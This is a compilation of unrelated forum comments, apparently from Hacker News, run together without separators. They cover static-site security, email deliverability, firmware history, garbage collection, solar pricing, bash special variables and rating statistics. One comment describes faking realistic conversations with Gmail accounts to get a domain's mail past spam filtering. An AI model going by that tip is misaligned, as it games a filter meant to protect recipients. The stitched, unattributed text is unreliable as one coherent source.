In that situation, a malicious actor can execute arbitrary code on an S3 box that likely hosts all kinds of government / business critical data. OP's point is that unless your static website secretly contains nuclear launch codes, the actor will not spend his time coming after your site. You would hear about this kind of situation in the newspaper before your website would change.

This is insane, bans must be on environmental and health concerns only, not political ones like right now.
Very cool! This reminds me of galaxyzoo.org

Hmm yeah I have no idea, I mostly read this which really intrigued me but I don't really understand all of the technology and science behind it http://www.intel.com/pressroom/archive/releases/2010/2010072...

I had always gotten the impression that even if it they couldn't get as small the impact of less heat and the ability to cross beams could allow them to be denser. But like I said I don't really know what I'm talking about :)

Hi,
I'm Nicolò and I work in the deliverability team of Qboxmail.com. We have run into similar problems in the past. The reason of the behavior of Gmail with your domain is not easy to understand, a theory could be that in the past someone has used it for sending spam, and even if it was not your server, you are paying for this.

The solution we have used, it was bring Gmail to understand that your emails have been sent from a real user. You can simulate a conversation between your domain and other Gmail accounts. Send a first email, with a realistic text, to a Gmail account, if it goes in spam, mark as safe (remove it from spam), and reply to it, always with a realistic text. Continue to simulate a normal conversation, sending 4/5 emails between the 2 account. Re-do the operation from another Gmail account, but this time do the opposite:
start from the Gmail one.

It not bulletproof, but it has worked in the past for us.

I don't think Lyft has failed by any means, it's a 4 billion dollar company and growing. Also, it seems they're quite quick to innovate. IIRC, they were first to come up with the carpool system that Uber then rapidly appropriated into UberPOOL. It's just hard to overtake a company executing as brilliantly as Uber.

No, Itanium specifically eschewed OpenFirmware (IEEE1275-1994, which is ANS Forth based) in favor of inventing EFI, which would develop into UEFI later.

Among the reasons: no interest in bytecode (UEFI now has EBC), no ACPI support (IEEE1275 predates ACPI by a decade, Intel didn't bother), protecting Intel's "Independent" BIOS Vendors from having to compete in an existing market (there were several OpenFirmware vendors).

Most OF implementations are now open source, we collected them at www.openfirmware.info.

I'm the founder at CloudBoost.io and we've built a NoSQL database service that does everything which you've listed (except for Offline Sync which we're building now).

The idea is as a developer - You don't really have to care about about "Which database you should actually store your data in?" and this is why we have machine learning service that actually learns how you store and how you query your data and figures out the database where your data should naturally belong.

As a developer, You only care about storing your data and getting your data back, and that's what we enable you to do.

Let me know if this helps, and feel free to reach out to nawaz@cloudboost.io if you need any more information / help.
My parent's business got nailed by #4, and its been an unbelievable nightmare dealing with. Any suggestions on secure domain registrars?
The numbers in this article make no sense:

"The PPA undercuts a previous price agreed with NV Energy last year - $0.46/kWh from SunEdison’s 100 MW Boulder Solar Project – and could quite possibly be the cheapest electricity in the U.S."

$0.46/kWh is outrageously exensive. Anybody could undercut that.

"NV Energy, a Nevada-based utility owned by Buffett’s Berkshire Hathaway, has agreed to pay just $0.3.87/kWh for solar electricity from the 100 MW Playa Solar 2 project being developed by U.S. thin film company First Solar."

What is "$0.3.87/kWh" supposed to even mean?

It may sound pedantic, and what they might be saying is that the electricity is $0.0387/kWh versus $0.046/kWh" - but the entire point of the article is specificity around the prices, you would think they would nail that - particularly in something called "pv-magazine.com"

A much more substantive critique - how much of that low price is a result of government subsidies, and what is the "natural, unsubsidized price", and, also, how will that price change as subsidies for solar expire at the end of this year?

[Edit, a few minutes later - the style of numbering with the weird placement of the decimals is consistent throughout the article, and one I've never seen before in an english language article - is anyone else familiar with it? Makes reading the article extremely challenging.]

> non-deterministic pauses

Modern GC can provide deterministic pauses (see Azul's pauselss GC, and various real-time Java GCs).

> I'm curious, is there something I'm missing?

I think so. Consider modern servers with plenty of cores and plenty of RAM. The only way to make efficient use of that RAM is to store as much program data in it as possible, and the only way to provide really efficient access to all that data is without forcing sharding, and the only way to do that is with GCs.
I think it is reasonable for a country to ban GMOs that are covered by patents that would be adverse to that country's agricultural industry.

Not personally - I've read about holographic films but they were rather for screen backlighting - you won't need that precision, I think. There are some advanced materials that are basically very advanced diffusers with a defined scattering distribution.

But BEFs are dirt cheap and do a very good job for this, your run-of the mill backlighting setup for screens is a very simple, effective system. Also: Using two linear BEFs (rotated relative to each other at a right angle) is more efficient than one pyramidal film.

The losses I mentioned are because of the light-recycling: You get lots more back reflections into the system - every ray that doesn't have the right exit angle gets reflected/refracted back into the system, the phosphor will absorb/re-emit/scatter, randomizing the ray's direction again and the ray 'retries' to get out of the system with a different angle.

These processes naturally induce losses (non-radiative decay in the phosphor, Fresnel losses at one of the BEFs, no perfect reflection on the back mirror). Even if you only lose a fraction of a percent, you lose that fraction lots of times before a ray may make it out of the system. It adds up - still, the collimation is very good for such a simple system (i.e. slap two films for a few dollars per sqm over your emitting area) it should be very easy to test.

Edit: You'll get the best collimation for 90°-angle prism films - there are other BEF types that'll smooth the angular distribution of the light recycling for wide viewing-angle displays.
They're different branches of computing history. There are few that consider it the 'way forward' as far as the mainstream is concerned, but the fans tend to consider it an underexplored model for one reason or another.

See also oberon, smalltalk, eiffel for more language communities of that kind (the jury is still undecided where haskell ends up); os/2, plan9, l4 when it comes to operating systems/kernels; 6502, m68k, mill for Instruction Set Architectures; (and so on)

Every now and then, us non-mainstreamers tend to sound a bit preachy when we get an audience, I grant that :-)
... and I'll ask you the same question I always do: in that case, adding predictable, low latency arenas to GC languages is much easier than using hazard pointers (which are really a form of GC) to non-GC languages. Why should RC ever be the default?
> But what could they be orbiting around?

>> a mutual centre of gravity

The math of gravity is fascinating. Objects can orbit each other, with nothing in the middle.

this isn't a case that can be framed in terms of Facebook stealing from YouTube. Just like when YouTube users stole from movie and music publishers, this is Facebook users stealing from YouTube "content creators". All this talk of "so what, YouTube did it too" for a start doesn't excuse the law but more to the point, it disguises the fact that YT arent the ones who are suffering from the consequences of this trend - publishers using it as a platform are.

By bringing up Facebooks privacy policy you are adding nothing to the discussion of the culture of FB users stealing YouTube users' videos sans accreditation.
That isn't true. Every static website could be vulnerable through DOM XSS.
In this case the integrity of the site is violated.

I don't understand the three first paragraphs (about A/B testing). I install an app costing me 1 dollar and then the developer use this profit to install an app ruining him/her? What?
Ok... "the industry" thinks that we need a new, completely incompatible, standard for graphics development that is locked down (no mention of open source or free software) and that lower level of abstraction will make it more reliable (that is some major PR-bullshit)...

This can, as I see it, only lead to giving more power to the big companies and shafting the indie developers and linux gamers... So in general, fuck those people!
Amusingly, in such a situation, I explicitly separate or join the tables myself to fit my party size.
Not at all. I have developed in both languages. Forth is almost bare metal, between Assembler and C. Lisp is a high level language. Its abstraction level can be pushed way beyond any other language. DSL creation is much easier in Lisp than in Forth.
Before this was the norm I used to consume tons of free content from the internet, frankly most of it was higher quality too.

Back in the old YouTube days, people couldn't understand why big players wouldn't allow them to watch music videos on YouTube, when it was literally the only place to do so.

There was no legal Netflix alternative, so people felt much more okay with watching shows there as well.

Now it's the little guy not only getting hurt by two big players cooperating, there even is a well functioning alternative!

I'm not saying this is different from a legal point of view, but for small content consumers it definitely feels different.

Why Vlutr and not something like Scaleway (https://www.scaleway.com/)?

I've recently switched from DO to Scaleway and would never go back.

Yes. Moved from AWS to DO and it's like night and day.

2. Very good forum and documentation. Site:digitalocean.com whatever-your-problem-is and you'll most likely get it resolved.

The meaning of special dollar sign shell variables
$1, $2, $3, ... are the positional parameters.

$@ is an array-like construct of all positional parameters, {$1, $2, $3 ...}.

$* is the IFS expansion of all positional parameters, $1 $2 $3 ....

$# is the number of positional parameters.

$- current options set for the shell.

$$ pid of the current shell (not subshell).

$_ most recent parameter (or the abs path of the command to start the current shell immediately after startup).

$IFS is the (input) field separator.

$? is the most recent foreground pipeline exit status.

$! is the PID of the most recent background command.

$0 is the name of the shell or shell script.

I had a tour of AMD's Dresden fab several years ago, it was literally a building inside a building, with the inner building mounted on shock absorbers to isolate it from vibrations. IIRC the manufacturing chain was entirely automated - silicon in, chips out.

That was several generations ago, I'm looking forward to seeing what is required to manufacture with high yield at 7nm!

> To change topic, progress on memristors seems painfully slow.

I think that's a little unfair. They were first shown just 7 years ago, and have already been used to build (extremely) simple neural networks.

Transistors took ~6 years before they were sold in commercial products, and you can already buy a memristor on a chip.

When transistors were invented, ENIAC was around and had ~18,000 vacuum tubes, and was the kind of thing governments built. In 2008 you could wander into a shop and pick up something like this: http://ark.intel.com/products/37147 which has 730 million transistors.

I think it's understandable that it'll take a bit longer for memristors to overtake transistor based processors.
I'm not sure I fully agree with the writer's assessment of how Netflix, Airbnb & Uber modularize/commoditize a different part of their respective value chains in order to compete with incumbents. My initial thoughts:

- Do taxis really modularize payment while Uber integrates it? Why is there an additional value capture for Uber in this part of the chain? Taxi drivers have to pay taxi companies heavy rent anyway - which is equivalent to Uber taking a large cut of revenue.

- Do hotels modularize reservations while Airbnb integrates them? I think it's arguable that Airbnb is banking on its differentiated offering (homes vs hotel rooms) and lower prices to attract customers to its "integrated" reservation system. But hotel chains have "integrated" reservations too - they just also choose to distribute rooms through other channels (and Airbnb probably does as well).

- The Christensen hypothesis that profits lie in some uncommoditized part of the value chain looks like a bit of a truism - some part of the chain has to offer some supernormal profits, otherwise it wouldn't be much of an industry to run a business in. (And there are probably exceptions: industries massive enough that virtually every part is commoditized.)

That said, as an Econ/Business major, I appreciated his analysis. I'd like to hear thoughts from the rest of you.
Be aware that published results are heavily skewed, and are sampling bias towards the successful portfolios. Actively managed funds do outperform the market from time-to-time, and they do get published. However, not the same portfolios (year-over-year), not the same fund managers, not the same issuers...

WealthFront and Vanguard and others who do passive fund management: they do get about market average. Not newsworthy, except that it is better than every other alternative on average.
So, in this "next level" database you have to do the resharding yourself? That is, manually specify which keys go where?

Way to go, my friends :)
Also discussed in Cameron Davidson-Pilon's Bayesian methods for Hackers in the context of Reddit ups/downs: http://nbviewer.ipython.org/github/CamDavidsonPilon/Probabil...

For Amazon, though, which is the example in Evan Miller's post, I don't really get why you'd first dichotomize the five-star rating into positive vs. negative and then use Wilson intervals. Just construct a run-of-the-mill 95% confidence interval for the mean of a continuous distribution and sort by the (still plausible) worst case scenario a.k.a. the lower bound of that: `mean - 1.96 * SE`, where the standard error is `SE = stddev(scores)/sqrt(n)`.

Because of the central limit theorem, you can do this even if scores are not normally distributed and it'll work out too.
